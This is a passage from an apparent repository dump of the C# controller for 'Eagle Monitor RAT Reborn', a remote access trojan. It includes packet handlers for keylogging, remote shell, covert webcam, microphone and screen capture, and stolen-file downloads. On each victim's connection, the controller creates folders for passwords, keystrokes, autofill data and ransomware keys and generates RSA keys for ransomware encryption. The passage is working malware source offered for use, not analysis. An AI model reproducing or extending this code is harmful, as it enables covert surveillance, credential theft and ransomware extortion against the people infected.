DeleteRestorePointPacketHandler(deleteRestorePointPacket);\n                    break;\n\n                case PacketType.KEYLOG_OFFLINE:\n                    KeylogOfflinePacket keylogOfflinePacket = (KeylogOfflinePacket)packet;\n                    new KeylogOfflinePacketHandler(keylogOfflinePacket, clientHandler);\n                    break;\n\n                case PacketType.RANSOMWARE_ENCRYPTION_CONFIRMATION:\n                    RansomwareConfirmationPacket ransomwareConfirmationPacket = (RansomwareConfirmationPacket)packet;\n                    new RansomareEncryptionConfirmationPacketHandler(ransomwareConfirmationPacket);\n                    break;\n\n                case PacketType.SHELL_COMMAND:\n                    StdOutShellSessionPacket stdOutShellSessionPacket = (StdOutShellSessionPacket)packet;\n                    new RemoteShellStdOutPacketHandler(stdOutShellSessionPacket);\n                    break;\n\n                case PacketType.SHELL_START:\n                    StartShellSessionPacket startShellSessionPacket = (StartShellSessionPacket)packet;\n                    new RemoteStartShellPacketHandler(startShellSessionPacket);\n                    break;\n\n                case PacketType.MISC_NETWORK_INFORMATION:\n                    NetworkInformationPacket networkInformationPacket = (NetworkInformationPacket)packet;\n                    new NetworkInformationPacketHandler(networkInformationPacket);\n                    break;\n\n                default:\n                    break;\n                    /*   \n\n                      case PacketType.FM_RENAME_FILE:\n                          RenameFilePacket renameFilePacket = (RenameFilePacket)packet;\n                          new RenameFilePacketHandler(renameFilePacket, clientHandler);\n                          break;\n\n                    */\n            }\n            packet.PacketState = PacketState.RECEIVED;\n            packet.DatePacketStatus = DateTime.Now.ToString();\n            return packet;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteDesktopHandler.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class RemoteDesktopHandler : IDisposable\n    {\n        internal ClientHandler clientHandler { get; set; }\n        internal bool enabledMouse { get; set; }\n        internal bool enableKeyboard { get; set; }\n        internal bool hasAlreadyConnected { get; set; }\n        internal int vResol { get; set; }\n        internal int hResol { get; set; }\n        internal string baseIp { get; set; }\n\n        public void Dispose()\n        {\n            clientHandler.socket.Close();\n            if (clientHandler.socket != null)\n            {\n                clientHandler.socket.Dispose();\n                clientHandler.socket = null;\n                clientHandler = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteMicrophoneHandler.cs",
    "content": "﻿using NAudio.Wave;\nusing System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class RemoteMicrophoneHandler : IDisposable\n    {\n        internal RemoteMicrophoneHandler()\n        {\n            waveOut = new WaveOut();\n            bufferedWaveProvider = new BufferedWaveProvider(new WaveFormat(44100, 1));\n        }\n        internal ClientHandler clientHandler { get; set; }\n        internal WaveOut waveOut { get; set; }\n        internal BufferedWaveProvider bufferedWaveProvider { get; set; }\n        internal string currentFileName { get; set; }\n        internal int currentOffset { get; set; }\n        internal WaveFileWriter waveFileWriter { get; set; }\n        internal bool hasAlreadyConnected { get; set; }\n        public void Dispose() \n        {\n            clientHandler.socket.Close();\n            if (clientHandler.socket != null)\n            {\n                clientHandler.socket.Dispose();\n                clientHandler.socket = null;\n                clientHandler = null;\n            }\n\n            this.waveFileWriter.Close();\n            this.bufferedWaveProvider.ClearBuffer();\n            this.currentFileName = \"\";\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteShellHandler.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class RemoteShellHandler : IDisposable\n    {\n        internal ClientHandler clientHandler { get; set; }\n        internal string baseIp { get; set; }\n\n        public void Dispose()\n        {\n            clientHandler.socket.Close();\n            if (clientHandler.socket != null)\n            {\n                clientHandler.socket.Dispose();\n                clientHandler.socket = null;\n                clientHandler = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteWebCamHandler.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class RemoteWebCamHandler : IDisposable\n    {\n        internal ClientHandler clientHandler { get; set; }\n        internal bool hasAlreadyConnected { get; set; }\n        //internal int vResol { get; set; }\n        //internal int hResol { get; set; }\n        internal string baseIp { get; set; }\n\n        public void Dispose()\n        {\n            clientHandler.socket.Close();\n            if (clientHandler.socket != null)\n            {\n                clientHandler.socket.Dispose();\n                clientHandler.socket = null;\n                clientHandler = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/ServerHandler.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Net;\nusing System.Net.Sockets;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class ServerHandler : IDisposable\n    {\n        static ServerHandler()\n        {\n            StopServer = false;\n            Servers = new List<ServerHandler>();\n            acceptClientAsync = new AcceptClientAsync(AcceptClient);\n        }\n\n        internal readonly static List<ServerHandler> Servers;\n        internal static int CurrentServersNumber { get { return Servers.Count; } }\n        internal static bool StopServer { get; set; }\n\n        private static readonly AcceptClientAsync acceptClientAsync;\n        private delegate ClientHandler AcceptClientAsync(ServerHandler serverHandler);\n\n        #region \"Non Static\"\n        private int ServerPort { get; set; }\n        internal Socket socket;\n\n        internal ServerHandler(int port) : base()\n        {\n            Servers.Add(this);\n            ServerPort = port;\n            IPEndPoint endPoint = new IPEndPoint(IPAddress.Any, port);\n            socket = new Socket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);\n            try\n            {\n                socket.Bind(endPoint);\n                socket.Listen(int.MaxValue);\n                StartAcceptClient(this);\n            }\n            catch (Exception ex)\n            {\n                MessageBox.Show(ex.ToString());\n            }\n        }\n        #endregion\n\n        private static void StartAcceptClient(ServerHandler serverHandler)\n        {\n            acceptClientAsync.BeginInvoke(serverHandler, new AsyncCallback(EndAcceptClient), serverHandler);\n        }\n\n        private static ClientHandler AcceptClient(ServerHandler serverHandler)\n        {\n            if(!StopServer)\n                return new ClientHandler(serverHandler.socket.Accept(), serverHandler.ServerPort);\n            else\n                return null;\n        }\n\n        private static void EndAcceptClient(IAsyncResult ar)\n        {\n            acceptClientAsync.EndInvoke(ar);\n            ServerHandler serverHandler = (ServerHandler)ar.AsyncState;\n            if (!StopServer)\n                ServerHandler.StartAcceptClient(serverHandler);\n            else\n                serverHandler.Dispose();\n        }\n\n        public void Dispose() \n        {\n            this.socket.Shutdown(SocketShutdown.Both);\n            this.socket.Close();\n            this.socket?.Dispose();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/ChatHandler.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class ChatHandler : IDisposable\n    {\n        internal ClientHandler ClientHandler { get; set; }\n        internal string BaseIp { get; set; }\n\n        public void Dispose()\n        {\n            ClientHandler.Socket.Close();\n            if (ClientHandler.Socket != null)\n            {\n                ClientHandler.Socket.Dispose();\n                ClientHandler.Socket = null;\n                ClientHandler = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/KeyloggerHandler.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class KeyloggerHandler : IDisposable\n    {\n        internal ClientHandler ClientHandler { get; set; }\n        internal string BaseIp { get; set; }\n\n        public void Dispose()\n        {\n            ClientHandler.Socket.Close();\n            if (ClientHandler.Socket != null)\n            {\n                ClientHandler.Socket.Dispose();\n                ClientHandler.Socket = null;\n                ClientHandler = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteDesktopHandler.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class RemoteDesktopHandler : IDisposable\n    {\n        internal ClientHandler ClientHandler { get; set; }\n        internal bool EnabledMouse { get; set; }\n        internal bool EnableKeyboard { get; set; }\n        internal bool HasAlreadyConnected { get; set; }\n        internal int VResol { get; set; }\n        internal int HResol { get; set; }\n        internal string BaseIp { get; set; }\n\n        public void Dispose()\n        {\n            ClientHandler.Socket.Close();\n            if (ClientHandler.Socket != null)\n            {\n                ClientHandler.Socket.Dispose();\n                ClientHandler.Socket = null;\n                ClientHandler = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteMicrophoneHandler.cs",
    "content": "﻿using NAudio.Wave;\nusing System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class RemoteMicrophoneHandler : IDisposable\n    {\n        internal RemoteMicrophoneHandler()\n        {\n            WaveOut = new WaveOut();\n            BufferedWaveProvider = new BufferedWaveProvider(new WaveFormat(44100, 1));\n        }\n        internal ClientHandler ClientHandler { get; set; }\n        internal WaveOut WaveOut { get; set; }\n        internal BufferedWaveProvider BufferedWaveProvider { get; set; }\n        internal string CurrentFileName { get; set; }\n        internal int CurrentOffset { get; set; }\n        internal WaveFileWriter WaveFileWriter { get; set; }\n        internal bool HasAlreadyConnected { get; set; }\n        public void Dispose() \n        {\n            ClientHandler.Socket.Close();\n            if (ClientHandler.Socket != null)\n            {\n                ClientHandler.Socket.Dispose();\n                ClientHandler.Socket = null;\n                ClientHandler = null;\n            }\n\n            this.WaveFileWriter.Close();\n            this.BufferedWaveProvider.ClearBuffer();\n            this.CurrentFileName = \"\";\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteShellHandler.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class RemoteShellHandler : IDisposable\n    {\n        internal ClientHandler ClientHandler { get; set; }\n        internal string BaseIp { get; set; }\n\n        public void Dispose()\n        {\n            ClientHandler.Socket.Close();\n            if (ClientHandler.Socket != null)\n            {\n                ClientHandler.Socket.Dispose();\n                ClientHandler.Socket = null;\n                ClientHandler = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteWebCamHandler.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class RemoteWebCamHandler : IDisposable\n    {\n        internal ClientHandler ClientHandler { get; set; }\n        internal bool HasAlreadyConnected { get; set; }\n        //internal int vResol { get; set; }\n        //internal int hResol { get; set; }\n        internal string BaseIp { get; set; }\n\n        public void Dispose()\n        {\n            ClientHandler.Socket.Close();\n            if (ClientHandler.Socket != null)\n            {\n                ClientHandler.Socket.Dispose();\n                ClientHandler.Socket = null;\n                ClientHandler = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioCapturePacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing NAudio.Wave;\nusing PacketLib.Packet;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class RemoteAudioCapturePacketHandler\n    {\n        public RemoteAudioCapturePacketHandler(RemoteAudioCapturePacket remoteAudioCapturePacket) : base()//, ClientHandler clientHandler)\n        {\n            if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm != null)\n            {\n                try\n                {\n\n                    if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.HasAlreadyConnected == false)\n                    {\n                        ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentFileName = ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientPath + \"\\\\Audio Records\\\\\" + Misc.Utils.DateFormater() + \".wav\";\n                        ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentOffset = 0;\n                        ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter = new WaveFileWriter(ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentFileName, new WaveFormat(44100, 1));\n                    }\n                    //currentOffset\n                    ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.HasAlreadyConnected = true;\n\n                    ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.BufferedWaveProvider.AddSamples(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded);\n\n                    ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter.Write(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded);\n\n                    ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter.Flush();\n\n                    ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentOffset += remoteAudioCapturePacket.bytesRecorded;\n                }\n                catch { }\n                return;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class RemoteAudioPacketHandler\n    {\n        public RemoteAudioPacketHandler(RemoteAudioPacket remoteAudioPacket) : base()//, ClientHandler clientHandler) : base()\n        {\n            if (ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm != null)\n            {\n                try\n                {\n                    ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        foreach (string device in remoteAudioPacket.audioDevices)\n                        {\n                            ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.Items.Add(device);\n                        }\n\n                        if (remoteAudioPacket.audioDevices.Count > 0)\n                            ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.SelectedIndex = 0;\n                    }));\n                }\n                catch { }\n                return;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Client/ConnectedPacketHandler.cs",
    "content": "﻿using PacketLib.Packet;\nusing System.Drawing;\nusing System.Windows.Forms;\nusing System.IO;\nusing System.Media;\nusing Eagle_Monitor_RAT_Reborn.Network;\nusing System.Collections.Generic;\nusing Newtonsoft.Json;\nusing System.Threading.Tasks;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class ConnectedPacketHandler\n    {\n        public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler clientHandler)\n        {\n            clientHandler.HWID = connectedPacket.HWID;\n            connectedPacket.BaseIp = clientHandler.IP;\n\n            clientHandler.ClientPath = Misc.Utils.GPath + \"\\\\Clients\\\\\" + connectedPacket.Username + \"@\" + connectedPacket.HWID;\n            clientHandler.FullName = connectedPacket.Username + \"@\" + connectedPacket.HWID;\n\n            Task.Run(() =>\n            {\n                if (!Directory.Exists(Misc.Utils.GPath + \"\\\\Clients\\\\\" + connectedPacket.Username + \"@\" + connectedPacket.HWID))\n                {\n                    Directory.CreateDirectory(Misc.Utils.GPath + \"\\\\Clients\\\\\" + connectedPacket.Username + \"@\" + connectedPacket.HWID);\n                    clientHandler.ClientStatus = \"New client connected !\";\n\n                    Directory.CreateDirectory(clientHandler.ClientPath + \"\\\\Downloaded Files\\\\\");\n                    Directory.CreateDirectory(clientHandler.ClientPath + \"\\\\History\\\\\");\n                    Directory.CreateDirectory(clientHandler.ClientPath + \"\\\\Autofill\\\\\");\n                    Directory.CreateDirectory(clientHandler.ClientPath + \"\\\\Keystrokes\\\\\");\n                    Directory.CreateDirectory(clientHandler.ClientPath + \"\\\\Keywords\\\\\");\n                    Directory.CreateDirectory(clientHandler.ClientPath + \"\\\\Passwords\\\\\");\n                    Directory.CreateDirectory(clientHandler.ClientPath + \"\\\\Audio Records\\\\\");\n                    Directory.CreateDirectory(clientHandler.ClientPath + \"\\\\Screenshots\\\\\");\n                    Directory.CreateDirectory(clientHandler.ClientPath + \"\\\\Camera\\\\\");\n                    Directory.CreateDirectory(clientHandler.ClientPath + \"\\\\Ransomware\\\\\");\n\n                    if (Program.settings.autoGenerateRSAKey)\n                    {\n                        Misc.EncryptionInformation encryptionInformation = new Misc.EncryptionInformation();\n                        Dictionary<string, string> rsaKey = Misc.Encryption.GetKey();\n                        encryptionInformation.publicRSAServerKey = rsaKey[\"PublicKey\"];\n                        encryptionInformation.privateRSAServerKey = rsaKey[\"PrivateKey\"];\n\n                        string rsa = JsonConvert.SerializeObject(encryptionInformation);\n                        File.WriteAllText(clientHandler.ClientPath + \"\\\\Ransomware\\\\encryption.json\", rsa);\n                        clientHandler.EncryptionInformation = encryptionInformation;\n                    }\n\n                }\n                else\n                {\n                    clientHandler.ClientStatus = \"Old client connected !\";\n                    if (!File.Exists(clientHandler.ClientPath + \"\\\\Ransomware\\\\encryption.json\") && Program.settings.autoGenerateRSAKey)\n                    {\n                        Misc.EncryptionInformation encryptionInformation = new Misc.EncryptionInformation();\n                        Dictionary<string, string> rsaKey = Misc.Encryption.GetKey();\n                        encryptionInformation.publicRSAServerKey = rsaKey[\"PublicKey\"];\n                        encryptionInformation.privateRSAServerKey = rsaKey[\"PrivateKey\"];\n\n                        string rsa = JsonConvert.SerializeObject(encryptionInformation);\n                        File.WriteAllText(clientHandler.ClientPath + \"\\\\Ransomware\\\\encryption.json\", rsa);\n                        clientHandler.EncryptionInformation = encryptionInformation;\n                    }\n                    else\n                    {\n                        if (Program.settings.autoGenerateRSAKey)\n                        {\n                            Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject<Misc.EncryptionInformation>(File.ReadAllText(clientHandler.ClientPath + \"\\\\Ransomware\\\\encryption.json\"));\n                            clientHandler.EncryptionInformation = encryptionInformation;\n                        }\n                    }\n                }\n            });\n\n            lock (Program.mainForm.clientDataGridView)\n            {\n                Program.mainForm.clientDataGridView.BeginInvoke((MethodInvoker)(() =>\n                {\n                    int rowId = Program.mainForm.clientDataGridView.Rows.Add();\n\n                    DataGridViewRow row = Program.mainForm.clientDataGridView.Rows[rowId];\n\n                    if (File.Exists(Misc.Utils.GPath + $\"\\\\Flags\\\\{Program.settings.flagsPackName}\\\\\" + connectedPacket.RegionFlag.ToLower() + \".png\"))\n                        row.Cells[\"Column1\"].Value = Misc.Utils.ResizeImage(Image.FromFile(Misc.Utils.GPath + $\"\\\\Flags\\\\{Program.settings.flagsPackName}\\\\\" + connectedPacket.RegionFlag.ToLower() + \".png\"), new Size(26, 26));\n                    else\n                        row.Cells[\"Column1\"].Value = Misc.Utils.ResizeImage(Image.FromFile(Misc.Utils.GPath + \"\\\\Flags\\\\FlagsBase\\\\\" + \"UKN\" + \".png\"), new Size(26, 26));\n\n                    row.Cells[\"Column2\"].Value = connectedPacket.HWID;\n                    row.Cells[\"Column3\"].Value = clientHandler.IP;\n                    row.Cells[\"Column4\"].Value = connectedPacket.OSName;\n                    row.Cells[\"Column5\"].Value = connectedPacket.Username;\n                    row.Cells[\"Column6\"].Value = connectedPacket.RAM;\n                    row.Cells[\"Column7\"].Value = connectedPacket.RegionName;\n                    row.Cells[\"Column8\"].Value = connectedPacket.Privilege;\n                    row.Cells[\"Column9\"].Value = connectedPacket.Is64Bit;\n\n                    if (connectedPacket.Is64Bit == \"32\")\n                    {\n                        clientHandler.Is64bitClient = false;\n                    }\n                    else\n                    {\n                        clientHandler.Is64bitClient = true;\n                    }\n\n                    if (connectedPacket.Privilege == \"User\")\n                    {\n                        clientHandler.IsAdmin = false;\n                    }\n                    else\n                    {\n                        clientHandler.IsAdmin = true;\n                    }\n\n                    row.Cells[\"Column10\"].Value = clientHandler.ServerPort.ToString();\n                    clientHandler.ClientRow = row;\n                    Program.mainForm.clientDataGridView.ClearSelection();\n\n                }));\n            }\n\n            Task.Run(() => \n            {\n                if (Program.settings.notificationSound)\n                {\n                    using (MemoryStream ms = new MemoryStream(Misc.Utils.NotificationSound))\n                    {\n                        SoundPlayer player = new SoundPlayer(ms);\n                        player.Play();\n                    }\n                }\n\n                if (Program.settings.notificationIcon)\n                {\n                    NotifyIcon notifyIconClient = new NotifyIcon();\n                    notifyIconClient.Visible = true;\n                    notifyIconClient.Text = $\"EM-RAT Reborn V{Misc.Utils.CoreAssembly.Version}\";\n                    notifyIconClient.Icon = Properties.Resources.eagle21;\n                    notifyIconClient.BalloonTipText = $\"New client connected !\";\n                    notifyIconClient.BalloonTipTitle = $\"EM-RAT Reborn V{Misc.Utils.CoreAssembly.Version}\";\n                    notifyIconClient.ShowBalloonTip(30);\n                }\n            });\n            return;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Desktop/RemoteViewerPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class RemoteViewerPacketHandler\n    {\n        public RemoteViewerPacketHandler(RemoteViewerPacket remoteViewerPacket) : base()\n        {\n            if (ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm != null)\n            {\n                ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.remoteDesktopPictureBox.BeginInvoke((MethodInvoker)(() =>\n                {\n                    try\n                    {\n                        ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.HasAlreadyConnected = true;\n                        if (remoteViewerPacket.desktopPicture != null)\n                        {\n                            ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.remoteDesktopPictureBox.Image = ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture);\n                            ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.HResol = remoteViewerPacket.hResol;\n                            ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.VResol = remoteViewerPacket.vResol;\n                        }\n                        return;\n                    }\n                    catch { }\n                }));\n            }\n        }\n    }\n}"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DeleteFilePacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class DeleteFilePacketHandler\n    {\n        public DeleteFilePacketHandler(DeleteFilePacket deleteFilePacket) : base()//, ClientHandler clientHandler) : base() \n        {\n            try\n            {\n                if (deleteFilePacket.deleted)\n                {\n                    ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        try\n                        {\n                            DataGridViewRow row = ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.DeleteList[deleteFilePacket.fileTicket];\n                            ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Remove(row);\n                            ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.DeleteList.Remove(deleteFilePacket.fileTicket);\n                        }\n                        catch { }\n                    }));\n                }\n            }\n            catch { }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DisksPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class DisksPacketHandler\n    {\n        public DisksPacketHandler(DiskPacket diskPacket) : base()//, ClientHandler clientHandler) \n        {\n            try\n            {\n                ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>\n                {\n                    ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items.Clear();\n                    ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear();\n                    foreach (string disk in diskPacket.disksList)\n                    {\n                        ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items.Add(disk);\n                    }\n                    ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.SelectedItem = ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items[0];\n                }));\n            }\n            catch { }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DownloadFilePacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System;\nusing System.IO;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class DownloadFilePacketHandler\n    {\n        public DownloadFilePacketHandler(DownloadFilePacket downloadFilePacket, ClientHandler clientHandler) : base()\n        {\n\n            using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientPath + \"\\\\Downloaded Files\\\\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append))\n            {\n                stream.Write(downloadFilePacket.file, 0, downloadFilePacket.file.Length);\n            }\n\n            ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() =>\n            {\n                DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.DownloadList[downloadFilePacket.fileTicket];\n                long currentSize = long.Parse(row.Cells[\"Column29\"].Tag.ToString()) + downloadFilePacket.file.Length;\n\n                row.Cells[\"Column29\"].Tag = currentSize;\n\n                decimal pourcentage = (decimal)currentSize / long.Parse(row.Tag.ToString());\n                decimal final = Decimal.Round(pourcentage * 100, 2);\n\n                row.Cells[\"Column30\"].Value = $\"{final}%\";\n\n                row.Cells[\"Column29\"].Value = $\"{Misc.Utils.Numeric2Bytes(currentSize)} / {Misc.Utils.Numeric2Bytes(long.Parse(row.Tag.ToString()))}\";\n\n                if (currentSize == long.Parse(row.Tag.ToString()))\n                {\n                    clientHandler.Dispose();\n                    if (Program.settings.autoRemoveRowWhenFileIsDownloaded)\n                    {\n                        ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.dowloadFileDataGridView.Rows.Remove(row);\n                        ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.DownloadList.Remove(downloadFilePacket.fileTicket);\n                    }\n                }\n                downloadFilePacket.file = null;\n            })); \n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/FileManagerPacketHandler.cs",
